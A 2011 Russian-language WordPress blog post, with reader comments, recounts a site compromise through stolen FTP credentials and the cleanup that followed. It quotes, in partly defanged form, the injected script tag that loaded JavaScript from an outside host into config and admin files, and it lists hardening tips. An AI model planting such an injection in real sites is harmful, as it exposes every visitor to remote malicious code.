Warning: Попытка взлома блогаЗдравствуйте, дорогие читатели! Сегодня хочу написать о проблеме, которая на минуту повергла меня в замешательство. Сегодня я как обычно хотел войти в админку нашего блога (уточню, что блог выполнен на всем известном CMS — WordPress), и вместо привычной формы ввода логина и пароля вижу следующую ошибку:

Warning: Cannot modify header information — headers already sent by (output started at /aaa/bbb/ccc/www/blogname.com/wp-admin/index.php:1) in /aaa/bbb/ccc/www/blogname.com/wp-includes/pluggable.php on line 868

(корневую директорию указал символами aaa, bbb и т.д. для примера).

Первая мысль, которая пришла мне в голову — нас хотят взломать! Надо действовать быстро и решительно. Админка wordpress раньше мне никогда не портила нервы. Поиски ответа в гугле не дали положительного результата, в основном всплывали ответы следующего характера: «Редактируя wp-config.php файл вы не сохранили файл в кодировке UTF-8 (без BOM)», возможно такая проблема и существует, но не мой случай. Я ничего в последнее время не менял, ну и с кодировкой я всегда обращаюсь правильно.

Далее я обратился в поддержку хостинга, чтоб уточнить, может они переходили на другой сервер и это вызвало некоторые неполадки – но оказалось это не так. Мне ответили: «Возможно попытка взлома или ошибки в вашей CMS. Вы не проводили обновлений ЦМС или не добавляли каких либо файлов?». «Нет» — ответил я.

Т.к. ошибка указывала на pluggable.php файл, я решил посмотреть исходный код и обнаружил, что не только в /wp-includes/pluggable.php, но и в /wp-config.php файле в начале кода установлен тег скрипта — <скрипт src=»aштитипи://byhosted.ком/ajaxengine.жс»></скрипт>. Отдкуда он взялся? В бекапах такого скрипта не было! Но при удалении этого скрипта в файле /wp-includes/pluggable.php оказалось, что до сих пор не получается войти в админку и при просмотре исходного кода страницы в заголовке виден тот же пиратский скрипт, который подтягивается из аштитипи://byhosted.ком/ajaxengine.жс . Тем временем поддержка не дремала и подсказала еще удалить теги этого же скрипта в первой строке файла /wp-admin/index.php, что было и выполнено. И о чудо, все заработало, исчезло сообщение warning, админка позволяет ввод логина и пароля — успешный вход осуществлен.

Исходя из этого опыта хотим поделиться с вами рекомендациями, которые можно было бы применить для защиты вашего блога:

  • установить сложный пароль для фтп пользователя
  • задать ограничение по IP адресу
  • установить права 644 на файлы, которые не нуждаются в записи скриптов сайта/блога
  • регулярно обновлять ПО сайта

ну и, конечно же, регулярный бекап никто не отменял!

Надеемся, что эта информация покажется полезной. В любом случае от взломов лучше предостеречься заранее, чем потом в панике решать возникшие проблемы.

С уважением, 2millionera.com

Обновление: после того, как пост был опубликован, наш читатель cryp сделал разумное замечание, что такую гадость цитировать не следовало, хотя ссылок я не ставил (сейчас, дабы наш читатель знал какой именно скрипт я имею ввиду, я вставил русские символы). Я решил перепроверить остался ли вредоносный код в файлах блога и обнаружил, что действительно он еще присутствовал. Я скачал программу для поиска файлов по содержимому FileSeek и оказалось еще больше десятка файлов, содержащих этот скрипт. На данный момент блог очищен, а наших читателей прошу с помощью этой программы убедиться, что вирус не поселился на ваших ресурсах.

Обновление 11 августа, 2011: хочу дополнить свой пост экспериментом. Я заметил, что как более ранняя, так и одна из последних версий WordPress, после чистки до двух десятков страниц от вредоносного скрипта, на следующий день оказались снова поражены (уже невозможно было открыть блог, выдавало ошибку вида: parse error, syntax error, unexpected ‘<’ in /aaa/bbb/ccc/www/blogname.com/wp-config.php on line 84. Тогда я решил провести эксперимент: после чистки кода страниц от вирусного кода на одном wordpress движке я поменял только пароль ftp пользователя на более сложный чем был ранее, а на другом ресурсе с такой же CMS установил более сложную защиту: поменял пароль ftp пользователя, запаролировал директорию к админке с помощью .htaccess и .htpasswd файлов, а также установил плагин по безопасности, который дополнительно защищает блог. В итоге на следующий день обнаружил, что оба сайта не были инфицированы скриптом. Таким образом достаточно было заменить пароль фтп пользователя и это говорит о том, что вирус вычислял логин и пароль для доступа к серверу и вызывал сбой в работе сайта/блога. Вывод: будем делать более сложные пароли для доступа к серверу и хранить их в безопасном месте.


18 комментариев : “Warning: Попытка взлома блога”

  1. Ух. была и у меня подобная штука) Хорошо, что тоже вовремя опознал и справился)

  2. Молодцы… после

    овлен скрипт такого плана

    сами вставили вредоносный код который атакует компьютер каждого кто заходит на ваш сайт.

    Специалисты млин.

  3. cryp, спасибо за дельное замечание! Все же сомневаюсь, что неактивная ссылка могла «перепрыгнуть» на сайт посетителя, тем не менее, на всякий случай, символы тега были заменены.

  4. Ого, именно сегодня у меня тоже легла половина сайтов, ошибка была несколько иной: Parse error: syntax error, unexpected ‘<' in /var/www/krole996/data/www/ домен сайта /wp-config.php on line 91

    но… что интересно, редактируя файл wp-config.php я наткнулся именно на такой же скрипт, который присутствовал и у вас… С одной стороны это как-то забавно, а с другой — пугает: видимо во всеми нам любимом вордпрессе обнаружилась новая дыра.

  5. видимо во всеми нам любимом вордпрессе обнаружилась новая дыра

    Череповецкий бомж, похоже на то — другого предположения пока нет. Зашел на ваш блог, глянул исходный код, пока что скрипт у вас присутствует, попробуйте залить все файлы с сервера на компьютер, отыскать файлы, в которых присутствует скрипт, удалить его и перезалить на сервер. Удачи!

  6. vivo в том то и дело что это была не ссылка… а указание на подгрузку яваскрипт кода с другого сайта. А уже этот яваскрипт используя уязвимости в браузерах может записывать на компьютер посетителя вирусы, трояны и т.д.

    Сейчас все в порядке.

  7. скорей всего кто-то действительно обнаружил дыру в вордпресе и пока её не найдете и залатаете, придется каждый день файлы чистить :)

  8. создайте файл .htaccess в папке админ разрешите доступ только с вашего ip
    Order Deny,AllowDeny from allAllow from ххх.хх.хх.х (где х укажите Ваш ip)

  9. ttl, хороший совет, но для тех, у кого ip статический

  10. Большинство провайдеров предоставляют такую услугу по статическим ip. 
    кстати такие взломы делаются автоматически.
    А так рекомендую просматривать логи с утра под чашечку кофе, увлекательное чтиво.

  11. когда много сайтов то уже тяжеловато просматриваьт логи, обычно они не маленькие.

  12. Стреманулся немного, сразу после прочтения статьи сделал бэкап, и последовал совету ttl.

  13. Только что разобрался с такой же фигней, но у меня был только скрипт который не удалялся, доступ к админке имелся, проблему решил обновлением файлов той же версии WP и удалив код из wp-config. На хостинге сказали что взлом был через FTP, значит скорее всего на компе был вирус, сейчас уже не сохраняю историю подключений в менеджере, вручную ввожу каждый раз.

  14. Sarg, вы правы! Взлом был через FTP — читайте мое обновление в конце поста.

  15. Столкнулся на днях с аналогичной проблемой, хотелось бы сделать одно замечание. Блог ломался при автоматическом обновлении Java на компьютере, причём касперский реагирует на это обновление, ругается, что содержит вирус. Первый раз я пропустил это предупреждение, за что и поплатился 3-мя часами вылавливания скрипта.

  16. Спасибо!!!
    Как раз 2 дня назад на личном блоге произошла такая же фигня!
    Только, я отложил это в долгий ящик…

  17. Тоже, пару раз, пытались взломать, но не получилось))

  18. Получается что расплачиваемся за комфорт. Благодаря автозаполнению экономим время а потом тратим его на восстановление работоспособности сайтов.

Трекбеки/Пинги

  1. Вредоносный код или решаем проблему с Google | Два миллионера - [...] тех, кто не читал пост «Warning: Попытка взлома блога», сообщу вкратце, что задача вредоносного кода [...]

Оставить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

*

*